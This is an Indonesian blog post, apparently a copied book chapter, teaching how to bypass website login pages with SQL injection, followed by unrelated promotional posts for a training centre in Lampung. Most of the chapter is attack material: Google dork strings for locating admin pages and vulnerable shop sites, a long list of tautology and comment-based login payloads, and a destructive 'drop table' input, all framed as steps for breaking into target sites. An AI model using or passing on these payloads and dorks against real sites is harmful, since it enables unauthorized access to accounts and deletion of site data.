Langsung ke konten utama

Praktek Teknisi

Bypass halaman login



BAB 6
ByPass Halaman Login

Untuk mengakses suatu sistem, misalnya sebuah situs web, biasanya diperlukan proses login. Supaya hanya user yang sah atau berhak saja yang boleh memasuki situs web tersebut, hal ini ditandai dengan adanya kotak input username dan password. Hal ini bertujuan untuk memfilter dan mengenal identitas user yang memasuki sebuah sistem. Dalam bab ini, Anda akan mempelajari bagaimana menembus sebuah halaman login dengan teknik SQL Injection. Sebab, salah satu masalah utama dalam pemakaian SQL adalah adanya isi kelemahan pada halaman login.
Misalnya, Anda bisa melakukan searching dengan kata kunci berikut:
-          Admin.php
-          Admin.asp
-          Login.php
-          Login.asp

Dengan empat string di atas, Anda akan menemukan banyak halaman admin.

Pada halaman login, Anda bisa memasukkan kode perintah, misalnya:

User: admin
Pass:’ or 1=1—

Atau:

User name :  ‘or’=’
Password : ‘or’=’

Penjelasannya sperti ini:

Ketika input username  dan password diisi seperti di atas, maka yang terjadi pada proses  input adalah sebagai berikut:

Var sql = “select * from users where username = ‘ “ + username + “ ‘ and password = ‘ “ + password  +    ‘ “ ‘

Hal ini bisa terjadi karena, ketika input tersebut diproses  oleh sistem, yang terjadi adalah operasi tersebut dianggap valid.

Var sql = “select * from users where username = ‘ ‘ OR ‘ ‘ = ‘ ‘  and password = ‘ ‘ OR ‘ ‘=’ ‘ ;

Misalnya, sebuah database memiliki tabel dengan nama “user” dn memiliki “field” account dan password.

Account
Password
Admin
Pop3y3
Joko
Jack1


Kembali pada contoh kasus sewaktu seseorang memasukkan input berupa ‘OR”=’ baik pada bagian account maupun pada bagian password. Secara logika bisa kita lihat syntax SQL menjadi:

’’or’’=’’=’’ AND password=’’or’’=’’

Dalam SQL, fungsi logika OR untuk untuk mengembalikan nilai False menjadi True.

Mungkin ada di antara pembaca yang bertanya, bagaimana jika kita ingin login dengan account tertentu tetapi kita tidak mengetahui password-nya. Misalnya, anda ingin login dengan nama account ‘joko’ seperti yang terdapat pada tabel diatas.
Caranya dengan memasukkan input padatext box dengan ‘—sedangkan pada bagian password diisi dengan  ‘OR”=’

Jika dilihat padda synntax SQL , bentuknya adalah:

SELECT  * FROM user WHERE account=’joko’- -‘ AND password=’ ’or’ ’=’ ’

Fungsi pemakaian tanda double minus tentunya Anda sudah tahu, seperti yang telah dijelaskan pada bab sebelumnya. Pada beberapa kasus, tanda double minus juga bisa diganti dengan tanda # menjadi joko’#.
Sedangkan pada kotak isian password bisa diisi dengan bebas’ or ‘x’=’x’

Berikut penjelasannya. Sewaktu seseorang menekan tombol login maka SQL akan menjalankan query seperti berikut:
SELECT  * FROM user WHERE account=’joko’ AND password=’ bebas’ or ‘x’=’x’

Akibatnya pada bagian password akan terisi dengan nilai bebas. Tentu saja input ini bernilai salah  (false) dan menyebabkan seseorang tidak akan bisa login. Karena password tersebut tidak tersimpan pada database. Akan tetapi, perhatikan query lanjutannya, yaitu or ‘x’=’x. Artinya , sistem akan diberikan pilihan (fungsi OR). Jika sebelumnya, input password bernilai salah, maka dijalankan pilihan berikutnya yang sudah pasti benar karena adanya ‘x’=’x’. Sehingga seseorang bisa melakukan login dengan account joko.



Text Box: Intinya dari aksi dalam bab ini adalah bagaimana kita membuat atau memanipulasi query SQL menjadi bernilai true atau benar
 




           Berikut beberapa syntax yang sering digunakan dalam Google:
-          /admin.php
-          /login.php
-          /logon.php
-          /adminlogin.php
-          /adminlogon.php
-          /admin_login.php
-          /admin_logon.php
-          /admin/admin.php
-          /admin/login.php
-          /admin/logon.php
-          /admin/adminlogin.php
-          /admin/adminlogon.php
-          /admin/admin_login.php
-          /admin/admin_logon.php
-          /administrator/admin.php
-          /administrator/login.php
-          /administrator/logon.php
-          /reboot/login.php
-          /admin/index.php
Selain itu, Anda bisa langsung memasukkan syntax di atas, atau menggunakan tanda kutip, seperti: “/admin.asp”. Kalau perlu, Anda juga bisa menggunakan kombinasi dengan syntax-syntax untuk Google Dork, seperti allinurl:admin/index.asp.


Halaman yang akan muncul dari tindakan di atas, biasanya adalah halaman Login
.


Untuk dapat masuk ada banyak kode yang bisa digunakan, di antaranya:
Username:  ‘or’a’=’a
Password:  ‘or’a’=’a
Jika tidak berhasil maka kode tersebut divariasikan menjadi:
Username:  admin
Password:   ‘or’a’=’a



Berikut beberapa kode variasinya:


‘ or 0=0 - -
  ‘ or 0=0 - -
or 0=0 - -
  ‘ or  0=0 #
  ‘ or  0=0 #
or  0=0 #
‘ or  ‘x’=’x
‘ or  “x”=”x
‘) or ( ‘x’=’x
 ‘ or 1=1 - -
 ‘ or 1=1 - -
or 1=1 - -
 ‘ or a=a - -


  or  “a”=”a
 ‘ )  or  ( ‘a’=’a
“ )  or  ( “a”=”a
hi ”  )  or  “a”=”a
hi ” or 1=1 - -
hi ’  or 1=1 - -
hi ’  or   ‘a’=’a
hi ‘ ) or   ( ‘a’=’a
hi “) or   ( “a”=”a
‘=’
‘ LIKE ‘
‘ =0 - - +

Untuk jawaban kedua, misalnya kita menggunakan perintah ‘or’ 1=1 - - untuk inpiut account-nya sedangkan input password, kita misalkan menggunakan kata ‘free’.
Sewaktu input dari account atau username sebuah situs web dengan memasukkan string ‘or’ 1=1 - - hal ini akan membuat SQL menjadi bingung karena SQL membacanya:
SELECT  * FROM user WHERE account=”or 1=1 - - AND paswsword= ‘free’
Perlu anda ketahui juga bahwa aksi SQL injection melalui input box ini tidak hanya berlaku untuk melakukan aksi Login saja. Misalnya, anda bisa menggunakan perintah:
Username: ’; drop table userid- -
Password:
Dilihat dari cara kerjanya, perintah di atas akan bekerja:
Var sql = “select  * from userid where username = `’ drop table userid--











MODEL SERANGAN SEDERHANA

Contoh pemakaian double minus pada SQL Injection attack:
Username : admin’ - -

SELECT *  FROM members WHERE username = ‘admin’- - AND password= ‘password’

Fungsi perintah di atas akan membuat Anda bisa login sebagai admin.

Secara umum, untuk mencocokkan user yang login perintah SQL-nya adalah:

Select * from admin where username = input_username AND password = input_password

Conto soal:
Jika diketahui username adalah ‘administrator’, sedangkan password-nya adalah ‘heloworld’. Administrator berniat untuk login. Tentukan statement-nya?

Diketahui:
Username: administrator
Password: heloworld

Ditanyakan:

SQL statement= ...?

Penyelesaian:
Rumus:

SELECT * FROM admin WHERE username = input_username AND password = input_password

Masukkan yang diketahui ke dalam rumus, menjadi:

Select * from admin where username = ‘administrator’ and password = heloworld

Sekarang, saya akan memberikan ilustrasi sederhana, untuk pola lainnya. Misalnya dengan sebuah situs URL:

http://www.situs-target.com/category=buku




sekarang, kita asumsikan URL nya diganti menjadi:


Maka variabel v_cat sama dengan “buku” or 1=1- -“. Jika kita tukar dengan query SQL, jadinya:

SELECT * FROM Product WHERE Pcategory=’buku’ or 1=1- -‘

Selain beberapa kode di atas yang telah di bahas, Anda juga dapat menggunakan beberapa kemungkinan lain nya:




EXPLOIT ByPASS HALAMAN LOGIN
Subbab ini hanyalah bab tambahan dari saya, yaitu beberapa exploit yang berhubungan dengan SQL Injection untuk mem-bypass halaman login. Walaupun exploit itu adalah sesuatu yang kuno karena akan mudah di patch, setidaknya ini akan menambahkan pengetahuan Anda dalam hal kegiatan hacking menggunakan SQL Injection.

Gunakan syntax dibawah ini pada halaman pencarian Google untuk mencari situs web yang
 bisa Anda eksploitasi (exploit).

Syntax: inurl:”cart.php?m=”

Nantinya Anda akan menemukan situs target katakanlah:
Atau,

Dari situs target  yang Anda peroleh tersebut, hapuslah string:cart.php?m=product_list&c=10



Sekarang tambahkan kata admin dibelakangnya, menjadi: http://www.situs-target.com/admin





Untuk masuk pada situs web dengan model seperti ini Injection nya adalah :
Username: admin
Password:’or”=”

Syntax Google berikutnya yang bisa Anda coba adalah :
allinurl:shopadmin.asp



Di mana username dan password yang digunakan adalah:
Username: ‘or’1
Password:’or’1

Komentar

Postingan populer dari blog ini

Pusat PKL Lampung

Lembaga kursus dan pelatihan LKP Metro Techno Solution adalah lembaga kursus yang memberikan jasa layanan peserta PKL (Praktek Kerja Lapangan) ,  Sasaran utama peserta PKL adalah siswa - siswi SMK, dan mahasiswa - mahasiswi yang berada dilampung. Peraktek kerja lapangan di LKP metro Techno Solution saat ini dikenal dengan beberapa SMK di lampung mulai dari lampung timur,  lampung tengah,  lampung barat,  lampung utara,  dan lampung selatan. Dengan Bidang Keahlian saat ini peserta PKL ADALAH: * SMK TKJ (teknik Komputer Jaringan) * SMK MULTIMEDIA * SMK RPL * SMK AKUTANSI Dan beberapa perguruan tinggi di lampung, dengan metode kluster menjadikan Metro Techno Solution berbeda dengan lembaga kursus lainnya yang disesuaikan dengan kebutuhan DUNIA USAHA DAN INDUSTRI .  Dengan menciptakan tenaga ahli dibidang komputer, menjadikan lulusan sebagai rujukkan untuk ditempatkan dibeberapa perusahaan yang telah bekerjasama. Dengan kepercayaan tersebut Metro Techno Solutio...

PKL JARINGAN DIKOTA METRO

Kali ini peserta PKL dari Metro Techno Solution mendapatkan kesempatan untuk langsung terjun kelapangan untuk membangun sebuah jaringan komputer di salah satu PT di kota metro ,  dengan didampingi instruktur lapangan yang berpengalaman. Selain itu peserta didik langsung mengerjakan mulai dari menentukan berapa panjang kabel yang dibutuhkan, bagaimana medan yang akan dikerjakan (beresiko) atau tidak, serta menentukan topologi dan kelas yang akan digunakan.  Dengan pemasangan yang beresiko tinggi karena harus memanjat dan medan yang sangat licin peserta PKL juga diajarkan bagaimana cara mengatasi nya.  Serta bagaimana cara menghilangkan grogi ketika harus memasang dag paralon diketinggian.  Dengan pengalaman dilapangan memberikan kepercayaan kepada peserta PKL untuk dapat mengembangkan kemampuannya yang didapat disekolah pada dunia kerja dan industri, sehingga PKL di metro Techno Solution dapat menjadi salah satu rujukan untuk mengembangkan kemampuan dan...

PKL DI Metro Techno Solution

PKL DI Metro Techno Solution memberikan solusi kepada peserta yang ingin mencari pengalaman dan kesempatan untuk mengenal lebih jauh tentang DUNIA USAHA DAN INDUSTRI, selain itu juga peserta didik akan di bekali diantaranya : 1. akan di asah dan dilatih apa saja yang menjadi dasar untuk bisa bekerja sesuai dengan standar prusahaan dan kompetensi seperti apa yang di butuhkan. 2. menambahkan pengetahuan tentang bagaimana cara merawat dan maintenance perangkat hardware yang di miliki oleh tempat kerja dan cara mengatasi jika perangkat tersebut dibutuhkan secepatnya.     3. membentuk mental peserta didik untuk menghadapi resiko pekerjaan yang terkadang diluar dari target. 4. memberikan wawasan dan kreatifitas kepada peserta sehingga peserta PKL siap untuk menyelesaikan semua pekerjaan. dengan melihat persyaratan bekal diatas dapat disimpulkan bahwa siswa PKL harus diciptakan SDM handal untuk siap bersaing dengan dunia luar ataupun MEA.